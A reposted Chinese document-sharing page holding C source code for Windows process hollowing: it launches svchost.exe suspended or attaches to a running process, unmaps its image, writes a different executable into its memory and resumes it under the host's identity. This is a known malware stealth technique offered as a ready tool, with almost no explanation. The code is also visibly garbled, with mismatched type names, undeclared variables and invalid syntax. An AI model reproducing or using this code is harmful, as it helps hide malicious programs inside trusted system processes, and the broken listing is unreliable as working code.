为了正常的体验网站,请在浏览器设置里面开启Javascript功能!

进程空间中插入另一个进程的代码细节化

2019-09-18 37页 doc 75KB 11阅读

用户头像

is_260251

暂无简介

举报
进程空间中插入另一个进程的代码细节化在进程空间中插入另一个进程的代码细节化 在Inject DLL Into Process的技术司空见惯的时代,江湖上出现了更令人惊讶Inject Thread Into Process的技术, 不过这些Injection的功能多有局限性,如果可以Inject EXE(Process) Into Process该多好啊,习习~~其实Inject EXE的 技术早已不是什么新东西,只是原先的Inject EXE是Linux/Unix的东西,没有几个成功被改造成Windows版的...... */ 复制内容到剪贴板 代...
进程空间中插入另一个进程的代码细节化
在进程空间中插入另一个进程的代码细节化 在Inject DLL Into Process的技术司空见惯的时代,江湖上出现了更令人惊讶Inject Thread Into Process的技术, 不过这些Injection的功能多有局限性,如果可以Inject EXE(Process) Into Process该多好啊,习习~~其实Inject EXE的 技术早已不是什么新东西,只是原先的Inject EXE是Linux/Unix的东西,没有几个成功被改造成Windows版的...... */ 复制内容到剪贴板 代码: #include "stdafx.h" #include "windows.h" #include "tlhelp32.h" #include "ntpsapi.h" struct PE_header { unsigned long signature; unsigned short machine; unsigned short numsections; unsigned long timeDateStamp; unsigned long pointerToSymbolTable; unsigned long numOfSymbols; unsigned short sizeofOptionheader; unsigned short characteristics; }; struct PE_Extheader { unsigned short magic; unsigned char majorLinkerVersion; unsigned char minorLinkerVersion; unsigned long sizeofCode; unsigned long sizeofInitializedData; unsigned long sizeofUninitializedData; unsigned long addressOfEntryPoint; unsigned long baseOfCode; unsigned long baseOfData; unsigned long imageBase; unsigned long sectionAlignment; unsigned long fileAlignment; unsigned short majorOSVersion; unsigned short minorOSVersion; unsigned short majorimageVersion; unsigned short minorimageVersion; unsigned short majorSubsystemVersion; unsigned short minorSubsystemVersion; unsigned long reserved1; unsigned long sizeofimage; unsigned long sizeofheaders; unsigned long checksum; unsigned short subsystem; unsigned short DLLCharacteristics; unsigned long sizeofStackReserve; unsigned long sizeofStackCommit; unsigned long sizeOfHeapReserve; unsigned long sizeOfHeapCommit; unsigned long loaderFlags; unsigned long numberOfRVAAndSizes; unsigned long exportTableAddress; unsigned long exportTableSize; unsigned long importTableAddress; unsigned long importTableSize; unsigned long resourceTableAddress; unsigned long resourceTableSize; unsigned long exceptionTableAddress; unsigned long exceptionTableSize; unsigned long certFilePointer; unsigned long certTableSize; unsigned long relocationTableAddress; unsigned long relocationTableSize; unsigned long debugDataAddress; unsigned long debugDataSize; unsigned long archDataAddress; unsigned long archDataSize; unsigned long globalPtrAddress; unsigned long globalPtrSize; unsigned long TLSTableAddress; unsigned long TLSTableSize; unsigned long loadConfigTableAddress; unsigned long loadConfigTableSize; unsigned long boundimportTableAddress; unsigned long boundimportTableSize; unsigned long importAddressTableAddress; unsigned long importAddressTableSize; unsigned long delayimportDescAddress; unsigned long delayimportDescSize; unsigned long COMheaderAddress; unsigned long COMheaderSize; unsigned long reserved2; unsigned long reserved3; }; struct sectionheader { unsigned char sectionName[8]; unsigned long virtualSize; unsigned long virtualAddress; unsigned long sizeofRawData; unsigned long pointerToRawData; unsigned long pointerToRelocations; unsigned long pointerToLineNumbers; unsigned short numberOfRelocations; unsigned short numberOfLineNumbers; unsigned long characteristics; }; struct MZheader { unsigned short signature; unsigned short partPag; unsigned short pageCnt; unsigned short reloCnt; unsigned short hdrSize; unsigned short minMem; unsigned short maxMem; unsigned short reloSS; unsigned short exeSP; unsigned short chksum; unsigned short exeIP; unsigned short reloCS; unsigned short tablOff; unsigned short overlay; unsigned char reserved[32]; unsigned long offsetToPE; }; struct importDirEntry { DWORD importLookupTable; DWORD timeDateStamp; DWORD fowarderChain; DWORD nameRVA; DWORD importAddressTable; }; struct FixupBlock { unsigned long pageRVA; unsigned long blockSize; }; #define TARGETPROC "svchost.exe" ; typedef struct _PROCINFO { DWORD baseAddr; DWORD imageSize; } PROCINFO; BOOL EXPD = False ; CHAR *PID; //****************************************************************** **************************************** // // This function reads the MZ, PE, PE extended and section headers from an EXE file. // //****************************************************************** **************************************** bool readPEInfo(FILE *fp, MZheader *outMZ, PE_header *outPE, PE_Extheader *outpeXH, sectionHeader **outSecHdr) { fseek(fp, 0, SEEK_END); long fileSize = ftell(fp); fseek(fp, 0, SEEK_SET); if(fileSize < sizeof(MZheader)) { printf("File size too small\n"); return false; } // read MZ header MZheader mzH; fread(&mzH, sizeof(MZheader), 1, fp); if(mzH.signature != 0x5a4d) // MZ { printf("File does not have MZ header\n"); return false; } printf("Offset to PE Header = %X\n", mzH.offsetToPE); if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header)) { printf("File size too small\n"); return false; } // read PE Header fseek(fp, mzH.offsetToPE, SEEK_SET); PE_Header peH; fread(&peH, sizeof(PE_Header), 1, fp); printf("Size of option header = %d\n", peH.sizeOfOptionHeader); printf("Number of sections = %d\n", peH.numsections); if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader)) { printf("Unexpected option header size.\n"); return false; } // read PE Ext Header PE_ExtHeader peXH; fread(&peXH, sizeof(PE_ExtHeader), 1, fp); printf("import table address = %X\n", peXH.importTableAddress); printf("import table size = %X\n", peXH.importTableSize); printf("Import address table address = %X\n", peXH.importAddressTableAddress); printf("Import address table size = %X\n", peXH.importAddressTableSize); // read the sections sectionheader *secHdr = new sectionheader[peH.numSections]; fread(secHdr, sizeof(Sectionheader) * peH.numSections, 1, fp); *outMZ = mzH; *outPE = peH; *outpeXH = peXH; *outSecHdr = secHdr; return true; } //****************************************************************** **************************************** // // This function calculates the size required to load an EXE into memory with proper alignment. // //****************************************************************** **************************************** int calcTotalimageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr) { int result = 0; int alignment = inpeXH->sectionAlignment; if(inpeXH->sizeofHeaders % alignment == 0) result += inpeXH->sizeofHeaders; else { int val = inpeXH->sizeOfHeaders / alignment; val++; result += (val * alignment); } for(int i = 0; i < inPE->numsections; i++) { if(inSecHdr[i].virtualSize) { if(inSecHdr[i].virtualSize % alignment == 0) result += inSecHdr[i].virtualSize; else { int val = inSecHdr[i].virtualSize / alignment; val++; result += (val * alignment); } } } return result; } //****************************************************************** **************************************** // // This function calculates the aligned size of a section // //****************************************************************** **************************************** unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment) { if(curSize % alignment == 0) return curSize; else { int val = curSize / alignment; val++; return (val * alignment); } } //****************************************************************** **************************************** // // This function loads a PE file into memory with proper alignment. // Enough memory must be allocated at ptrLoc. // //****************************************************************** **************************************** bool loadPE(FILE *fp, MZheader *inMZ, PE_header *inPE, PE_Extheader *inpeXH, sectionHeader *inSecHdr, LPVOID ptrLoc) { char *outPtr = (char *)ptrLoc; fseek(fp, 0, SEEK_SET); unsigned long headerSize = inpeXH->sizeofHeaders; // certain PE files have sectionHeaderSize value > size of PE file itself. // this loop handles this situation by find the section that is nearest to the // PE header. for(int i = 0; i < inPE->numSections; i++) { if(inSecHdr[i].pointerToRawData < headerSize) headerSize = inSecHdr[i].pointerToRawData; } // read the PE header unsigned long readSize = fread(outPtr, 1, headerSize, fp); printf("HeaderSize = %d\n", headerSize); if(readSize != headerSize) { printf("Error reading headers (%d %d)\n", readSize, headerSize); return false; } outPtr += getAlignedSize(inpeXH->sizeofHeaders, inpeXH->sectionAlignment); // read the sections for(i = 0; i < inPE->numsections; i++) { if(inSecHdr[i].sizeofRawData > 0) { unsigned long toRead = inSecHdr[i].sizeofRawData; if(toRead > inSecHdr[i].virtualSize) toRead = inSecHdr[i].virtualSize; fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET); readSize = fread(outPtr, 1, toRead, fp); if(readSize != toRead) { printf("Error reading section %d\n", i); return false; } outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment); } else { // this handles the case where the PE file has an empty section. E.g. UPX0 section // in UPXed files. if(inSecHdr[i].virtualSize) outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment); } } return true; } //****************************************************************** **************************************** // // This function loads a PE file into memory with proper alignment. // Enough memory must be allocated at ptrLoc. // //****************************************************************** **************************************** void doRelocation(MZheader *inMZ, PE_header *inPE, PE_Extheader *inpeXH, sectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase) { if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) { FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress); long delta = newBase - inpeXH->imageBase; while(fixBlk->blockSize) { printf("Addr = %X\n", fixBlk->pageRVA); printf("Size = %X\n", fixBlk->blockSize); int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1; printf("Num Entries = %d\n", numEntries); unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1); for(int i = 0; i < numEntries; i++) { DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF)); int relocType = (*offsetPtr & 0xF000) >> 12; printf("Val = %X\n", *offsetPtr); printf("Type = %X\n", relocType); if(relocType == 3) *codeLoc = ((DWORD)*codeLoc) + delta; else { printf("Unknown relocation type = %d\n", relocType); } offsetPtr++; } fixBlk = (FixupBlock *)offsetPtr; } } //****************************************************************** **************************************** // // Creates the original EXE in suspended mode and returns its info in the PROCINFO structure. // //****************************************************************** **************************************** BOOL createChild(PProcess_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo) { STARTUPINFO si = {0}; if(!EXPD) { if(CreateProcess(NULL, TARGETPROC, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi)) { ctx->ContextFlags=CONTEXT_FULL; GetThreadContext(pi->hThread, ctx); DWORD *pebInfo = (DWORD *)ctx->Ebx; DWORD read; ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read); DWORD curAddr = outChildProcInfo->baseAddr; MEMORY_BASIC_INFORMATION memInfo; while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo))) { if(memInfo.State == MEM_FREE) break; curAddr += memInfo.RegionSize; } outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr; return TRUE; } } else { DEBUG_EVENT DBEvent; if(DebugActiveProcess((DWORD)*PID)) { WaitForDebugEvent(&DBEvent,INFINITE); pi->hThread=DBEvent.u.CreateProcessInfo.hThread; pi->hprocess=DBEvent.u.CreateProcessInfo.hProcess; ctx->ContextFlags=CONTEXT_FULL; GetThreadContext(pi->hThread, ctx); DWORD *pebInfo2 = (DWORD *)ctx->Fs; *pedInfo2+=0x30; DWORD read2; ReadProcessMemory(pi->hProcess, &pebInfo2[2], (LPVOID)&(outChildProcInfo2->baseAddr), sizeof(DWORD), &read2); DWORD curAddr2 = outChildProcInfo2->baseAddr; MEMORY_BASIC_INFORMATION memInfo2; while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr2, &memInfo2, sizeof(memInfo2))) { if(memInfo2.State == MEM_FREE) break; curAddr2+= memInfo2.RegionSize; } outChildProcInfo2->imageSize = (DWORD)curAddr2 - (DWORD)outChildProcInfo2->baseAddr; return TRUE; } } return FALSE; } //****************************************************************** **************************************** // // Returns true if the PE file has a relocation table // //****************************************************************** **************************************** BOOL hasRelocationTable(PE_Extheader *inpeXH) { if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) { return TRUE; } return FALSE; } typedef DWORD (WINAPI *PTRZwUnmapViewOfsection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress); //****************************************************************** **************************************** // // To replace the original EXE with another one we do the following. // 1) Create the original EXE Process in suspended mode. // 2) Unmap the image of the original EXE. // 3) Allocate memory at the baseaddress of the new EXE. // 4) Load the new EXE image into the allocated memory. // 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended // thread. // // When the original EXE process is created in suspend mode, GetThreadContext returns these useful // register values. // EAX - process entry point // EBX - points to PEB // // So before resuming the suspended thread, we need to set EAX of the context to the entry point of the // new EXE. // //****************************************************************** **************************************** void doFork(MZheader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, sectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize) { STARTUPINFO si = {0}; Process_INFORMATION pi; CONTEXT ctx; PROCINFO childInfo; if(createChild(&pi, &ctx, &childInfo)) { printf("Original EXE loaded (PID = %d).\n", pi.dwProcessId); printf("Original Base Addr = %X, Size = %X\n", childInfo.baseAddr, childInfo.imageSize); LPVOID v = (LPVOID)NULL; if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize) { // if new EXE has same baseaddr and is its size is <= to the original EXE, just // overwrite it in memory v = (LPVOID)childInfo.baseAddr; DWORD oldProtect; VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect); printf("Using Existing Mem for New EXE at %X\n", (unsigned long)v); } else { // get address of ZwUnmapViewOfsection PTRZwUnmapViewOfsection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection"); // try to unmap the original EXE image if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0) { // allocate memory for the new EXE image at the prefered imagebase. v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(v) printf("Unmapped and Allocated Mem for New EXE at %X\n", (unsigned long)v); } } if(!v && hasRelocationTable(inpeXH)) { // if unmap failed but EXE is relocatable, then we try to load the EXE at another // location v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(v) { printf("Allocated Mem for New EXE at %X. EXE will be relocated.\n", (unsigned long)v); // we've got to do the relocation ourself if we load the image at another // memory location doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v); } } printf("EIP = %X\n", ctx.Eip); printf("EAX = %X\n", ctx.Eax); printf("EBX = %X\n", ctx.Ebx); // EBX points to PEB printf("ECX = %X\n", ctx.Ecx); printf("EDX = %X\n", ctx.Edx); if(v) { printf("New EXE Image Size = %X\n", imageSize); // patch the EXE base addr in PEB (PEB + 8 holds Process base addr) DWORD *pebInfo = (DWORD *)ctx.Ebx; DWORD wrote; WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote); // patch the base addr in the PE header of the EXE that we load ourselves PE_Extheader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_header) + (DWORD)ptrLoc); peXH->imageBase = (DWORD)v; if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL)) { printf("New EXE image injected into process.\n"); ctx.ContextFlags=CONTEXT_FULL; //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc); if((DWORD)v == childInfo.baseAddr) { ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint; // eax holds new entry point } else { // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was // performed. ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint; // eax holds new entry point } printf("********> EIP = %X\n", ctx.Eip); printf("********> EAX = %X\n", ctx.Eax); SetThreadContext(pi.hThread,&ctx); ResumeThread(pi.hThread); printf("Process resumed (PID = %d).\n", pi.dwProcessId); } else { printf("WriteProcessMemory failed\n"); TerminateProcess(pi.hProcess, 0); } } else { printf("Load failed. Consider making this EXE relocatable.\n"); TerminateProcess(pi.hProcess, 0); } } else { printf("Cannot load %s\n", TARGETPROC); } } int main(int argc, char* argv[]) { if((argc < 2 )||(argc > 3)) { printf("\nUsage: %s [pid]\n", argv[0]); return 1; } if(argc==3){ alloc(PID,1024); memset(PID,0,1024); strcpy(PID,argv[2]); EXPD= True ; } FILE *fp = fopen(argv[1], "rb"); if(fp) { MZheader mzH; PE_Header peH; PE_ExtHeader peXH; sectionHeader *secHdr; if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr)) { int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr); printf("Image Size = %X\n", imageSize); LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(ptrLoc) { printf("Memory allocated at %X\n", ptrLoc); loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc); doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize); } else printf("Allocation failed\n"); } fclose(fp); } else printf("\nCannot open the EXE file!\n"); return 0; }
/
本文档为【进程空间中插入另一个进程的代码细节化】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。 本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。 网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。

历史搜索

    清空历史搜索